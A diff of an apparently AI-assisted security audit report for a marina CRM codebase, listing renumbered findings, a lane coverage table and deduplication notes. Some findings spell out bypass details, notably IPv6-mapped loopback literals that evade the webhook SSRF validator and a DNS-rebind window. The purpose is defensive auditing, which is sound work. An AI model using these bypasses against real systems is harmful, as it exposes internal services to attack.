`src/app/api/v1/admin/brochures/[id]/versions/route.ts:31-34`
|
||||
Berth-PDF presign passes `portSlug` (engaging the `p`-binding check); brochure presign doesn't, so brochure tokens skip the port-namespace assertion. Defense-in-depth only (`validateStorageKey` already blocks traversal; `generateBrochureStorageKey` is server-controlled).
|
||||
**Fix:** Pass `portSlug` in the brochure presign opts. **Confidence: 0.9**
|
||||
|
||||
#### L23 — Divergent permission catalogs (roles validator vs override allow-list)
|
||||
|
||||
`src/lib/validators/roles.ts:5-18` vs `permission-overrides/route.ts:37-85`
|
||||
`rolePermissionsSchema` uses `z.record(z.string(), z.boolean())` (accepts arbitrary action keys) and is missing resources the override `ALLOWED_RESOURCE_ACTIONS` includes (`yachts`, `companies`, `memberships`, `tenancies`, `residential_*`, `document_templates`). Super-admin-gated, so inert leaves only pollute the matrix/audit diffs.
|
||||
**Fix:** Unify into one source of truth. **Confidence: 0.6**
|
||||
|
||||
#### L24 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
|
||||
|
||||
`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest`
|
||||
With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H3 where refunds may not even subtract in some readers.
|
||||
With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H12 where refunds may not even subtract in some readers.
|
||||
**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7**
|
||||
|
||||
#### L2 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
|
||||
#### L25 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
|
||||
|
||||
`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31`
|
||||
`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently.
|
||||
**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65**
|
||||
|
||||
#### L3 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
|
||||
#### L26 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
|
||||
|
||||
`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`)
|
||||
The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic.
|
||||
**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7**
|
||||
|
||||
#### L4 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
|
||||
#### L27 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
|
||||
|
||||
`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380`
|
||||
`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M3's fix (use the service).
|
||||
`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M20's fix (use the service).
|
||||
**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6**
|
||||
|
||||
#### L5 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
|
||||
_(Additional LOW-tier items from pass 1+2 carried below; the IPv6-SSRF, TOCTOU-rebind, redeliver-replay, pending-on-active-berth, tenancy socket/saveStages, import header-mapping, API-envelope, and import-port-trust clusters are renumbered L28–L35 to keep all distinct findings.)_
|
||||
|
||||
#### L28 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
|
||||
|
||||
`src/lib/validators/webhooks.ts:56-60`
|
||||
The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently MEDIUM-downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
|
||||
The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
|
||||
**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9**
|
||||
|
||||
#### L6 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
|
||||
#### L29 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:18-45` vs `:224`
|
||||
`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
|
||||
**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7**
|
||||
|
||||
#### L7 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
|
||||
#### L30 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
|
||||
|
||||
`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316`
|
||||
Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
|
||||
**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6**
|
||||
|
||||
#### L8 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
|
||||
#### L31 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts:93-179`
|
||||
`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
|
||||
**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78**
|
||||
|
||||
#### L9 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
|
||||
#### L32 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167`
|
||||
(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83).
|
||||
**Confidence: 0.83–0.9**
|
||||
|
||||
#### L10 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
|
||||
#### L33 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
|
||||
|
||||
`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31`
|
||||
(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
|
||||
**Confidence: 0.55–0.6**
|
||||
|
||||
#### L11 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
|
||||
#### L34 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
|
||||
|
||||
Multiple files
|
||||
`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
|
||||
**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)**
|
||||
|
||||
#### L12 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
|
||||
#### L35 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
|
||||
|
||||
`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78`
|
||||
`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author. **Confidence: 0.75**
|
||||
`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author.
|
||||
**Confidence: 0.75**
|
||||
|
||||
---
|
||||
|
||||
## 3. Lane Coverage Table
|
||||
## 3. Unified Lane Coverage Table
|
||||
|
||||
| Lane | Status | Findings (C/H/M/L) | Top risk |
|
||||
| ------------------------------------------- | ------------------------- | ------------------ | ------------------------------------------------------- |
|
||||
| Financial money-math | Complete | 1/2/2/1 | C1 cross-currency deposit gate auto-marks berths Sold |
|
||||
| Sales pipeline state machine | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Cross-entity ownership / schema drift | Complete | 0/1/1/2 | H2 archive/restore falsifies ownership-history ledger |
|
||||
| Background worker tenant isolation | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Socket.IO realtime authorization | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| AI subsystem spend cap + prompt injection | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Destructive client lifecycle + GDPR cascade | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Storage proxy, presign & file validation | **Rate-limited — RE-RUN** | — | Not audited (pass-1 M1 partly covers) |
|
||||
| CSV/bulk import engine | Complete | 0/1/3/3 | H4 CSV formula injection in expense + audit exports |
|
||||
| Email engine internals | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Outbound webhook SSRF + delivery integrity | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
|
||||
| Report/PDF correctness + per-port filtering | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Residential + tenancies logic | Complete | 1/2/3/2 | C2 residential module-disabled never enforced on v1 API |
|
||||
| Berth rules / recommender / public status | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Permissions model + rate-limit coverage | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| React components/hooks + UI/UX | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Documenso e-sign integration | **Rate-limited — RE-RUN** | — | Not audited |
|
||||
| Pass-1 (confirmed) | Folded in | 0/1/1/1 | C3 tracked `/q/` links dead in all outbound mail |
|
||||
All 17 lanes, with the pass where each completed and its finding counts (C/H/M/L) as mapped into the unified numbering.
|
||||
|
||||
**Coverage gap:** 11 of 17 lanes returned no findings due to API rate-limiting, including several high-risk surfaces (GDPR cascade, worker isolation, Socket.IO authz, AI spend/injection, permissions, storage presign, Documenso). This report is **not a complete pre-launch sign-off** — the rate-limited lanes must be re-run before launch. Findings above reflect only the 6 lanes that completed plus the pass-1 confirmations.
|
||||
| # | Lane | Completed in | Status | Findings (C/H/M/L) | Top risk (unified ref) |
|
||||
| --- | ------------------------------------------- | --------------------------- | --------- | ------------------- | ----------------------------------------------------------------------- |
|
||||
| 1 | Financial money-math | Pass 1+2 | Complete | 1/1/1/2 | C1 cross-currency deposit gate auto-marks berths Sold |
|
||||
| 2 | Sales pipeline state machine | Pass 3 | Complete | (→C2) /3/3/2 | C2 lost/cancelled deal auto-flips berth to Sold |
|
||||
| 3 | Cross-entity ownership / schema drift | Pass 1+2 | Complete | 0/1/1/2 | H5 archive/restore falsifies ownership-history ledger |
|
||||
| 4 | Background worker tenant isolation | Pass 3 | Complete | 0/1/2/3 | H11 attacker-controlled `coverBrandPortId` brand-kit leak |
|
||||
| 5 | Socket.IO realtime authorization | Pass 3 | Complete | 0/0/2/3 | M10 deactivated users keep receiving all port broadcasts |
|
||||
| 6 | AI subsystem spend cap + prompt injection | Pass 3 | Complete | (→C2 shared) /1/0/2 | H9 email-draft spends OpenAI tokens, no rate limit/budget |
|
||||
| 7 | Destructive client lifecycle + GDPR cascade | Pass 3 | Complete | 0/2/2/2 | H2/H3 merge skips payments/ownership → cascade-delete loss |
|
||||
| 8 | Storage proxy, presign & file validation | Pass 3 (pass-1 M24 partial) | Complete | 0/0/4/2 | M18 single-use token bricks emailed URLs on transient fail |
|
||||
| 9 | CSV/bulk import engine | Pass 1+2 | Complete | 0/1/3/3 | H10 CSV formula injection in expense + audit exports |
|
||||
| 10 | Email engine internals | Pass 3 | Complete | 0/0/1/3 | M8 bounce poller port-blind → cross-tenant misattribution |
|
||||
| 11 | Outbound webhook SSRF + delivery integrity | Pass 1+2 | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
|
||||
| 12 | Report/PDF correctness + per-port filtering | Pass 3 | Complete | 0/1/4/2 | H6 title-case berth status → 0 sold / understated occupancy |
|
||||
| 13 | Residential + tenancies logic | Pass 1+2 | Complete | 1/2/3/2 | C3 residential module-disabled never enforced on v1 API |
|
||||
| 14 | Berth rules / recommender / public status | Pass 3 | Complete | (→C2 shared) /0/2/1 | C2 lost/cancelled deals auto-flip berths Sold (public site) |
|
||||
| 15 | Permissions model + rate-limit coverage | Pass 3 | Complete | 0/2/3/2 | H8 `residentialAccess` toggle bypasses caller-superset |
|
||||
| 16 | React components/hooks + UI/UX | Pass 3 | Complete | 0/3/4/2 | H7 residential notes fully broken (wrong NotesList API URL) |
|
||||
| 17 | Documenso e-sign integration | Pass 3 | Complete | 0/0/1/2 | L11 v2 null `numericId` → dropped completion webhooks `[needs-confirm]` |
|
||||
| — | Pass-1 routing/API confirmation set | Pass 1 | Folded in | C4 + M24 + L34 | C4 tracked `/q/` links dead in all outbound mail |
|
||||
|
||||
**Coverage note:** All 17 lanes plus the pass-1 routing/API set are now covered — the 11 lanes rate-limited in pass 1+2 were successfully re-run in pass 3. Lane-level C/H/M/L counts above are indicative (they reflect each lane's pre-merge contribution; the cross-pass and within-pass merges mean the unified totals are not a simple column sum). Parenthetical `(→Cn)` marks a lane whose top finding was merged with another lane's.
|
||||
|
||||
---
|
||||
|
||||
## 4. Cross-Pass Dedupe Notes
|
||||
|
||||
Every merge made while consolidating the two passes:
|
||||
|
||||
1. **CROSS-PASS (required) — Cross-currency deposit gate.** Pass 1+2 **C1** (cross-currency deposit gate auto-marks berths Sold) and pass 3 **H3** (deposit auto-advance is currency-blind) are the **same bug** (`payments.service.ts` deposit-met gate summing across currencies and comparing against a single-currency expectation). Merged into unified **C1 (CRITICAL)**, combining detail from both (the FX-summation mechanics from pass 1+2, the schema column refs `interests.ts:64-65` and the auto-advance/`deposit_received`-rule chain from both). Counted once.
|
||||
|
||||
2. **Within pass 3 — Lost/cancelled → Sold.** Pass 3 **C1** was itself a merge of the Sales-pipeline lane and the Berth-subsystem lane (same `setInterestOutcome` → `interest_completed` → `sold` root cause). Preserved as unified **C2 (CRITICAL)**; no further action — recorded for traceability.
|
||||
|
||||
3. **Within pass 3 — AI token spend.** Pass 3 **H12** (AI rate-limit missing, spanning the AI-subsystem and permissions/rate-limit lanes) and pass 3 **H13** (AI email-draft budget gate missing) are two facets of the same unprotected token-spend surface on `ai/email-draft`. Merged into unified **H9**, carrying both confidences (0.9 rate-limit / 0.97 budget) and both fixes. Net reduction of one HIGH versus a naive sum.
|
||||
|
||||
4. **Within pass 3 — `coverBrandPortId` brand-kit leak.** Pass 3 **H6** was already a merge (worker-isolation lane HIGH + report-correctness lane LOW), kept at HIGH. Carried to unified **H11** unchanged.
|
||||
|
||||
5. **Within pass 3 — Bounce poller port-blindness.** Pass 3 **M8** was already a merge (worker-isolation lane + email-engine lane). Carried to unified **M8** unchanged.
|
||||
|
||||
6. **Within-pass bundles preserved (not re-split):** pass 3 **L18** (3 decorative-emoji sites), **L16** (3 email/bounce nits), **L17** (3 storage nits), **L20** (3 socket defense-in-depth nits); pass 1+2 **L9/L10/L32/L33** (paired tenancy and import items). These remain bundled exactly as the source docs intended (each is one rule/theme with sub-items), now at L18/L16/L17/L20 and L32/L33 respectively.
|
||||
|
||||
7. **Severity reconciliations carried over (no merge, recorded):** pass 3 demoted L3 (recommender stage-scale) HIGH→LOW `[needs-confirm]` and L11 (Documenso null `numericId`) HIGH→LOW `[needs-confirm]`; both retained at LOW in the unified doc. `[needs-confirm]` tags preserved on unified **L3, L6, L11, L21, L35**.
|
||||
|
||||
8. **No other cross-pass duplicates found.** Notably distinct (checked, NOT merged): unified **C1** (deposit currency math) vs **C2** (outcome-blind rule) — both touch the berth-rules engine but have different root causes; pass-1+2 **H3 refund-sign** (unified **H12**) vs pass-3 currency bug (unified **C1**) — different defects in the same service file; unified **L24** (deposit refund lower-bound re-lock) is a distinct idempotency concern adjacent to C1, kept separate as the source docs did.
|
||||
|
||||
---
|
||||
|
||||
### Final tally — distinct findings in this unified report
|
||||
|
||||
| Severity | Distinct count |
|
||||
| --------- | ------------------------------ |
|
||||
| CRITICAL | 4 |
|
||||
| HIGH | 17 |
|
||||
| MEDIUM | 29 |
|
||||
| LOW | 35 (incl. 5 `[needs-confirm]`) |
|
||||
| **Total** | **85** |
|
||||
|
||||
_Derivation: union of the actual numbered entries — pass 1+2 (32: C3/H6/M11/L12) + pass 3 (55: C1/H13/M18/L23) = 87 — minus the cross-pass deposit-currency duplicate (pass1+2 C1 ≡ pass3 H3) and the within-pass-3 AI rate-limit + budget merge (pass3 H12 + H13) = **85 distinct findings**. Both removed entries were in the HIGH tier of their source; the merged deposit-currency finding is retained at CRITICAL (C1)._
|
||||
|
||||
Reference in New Issue
Block a user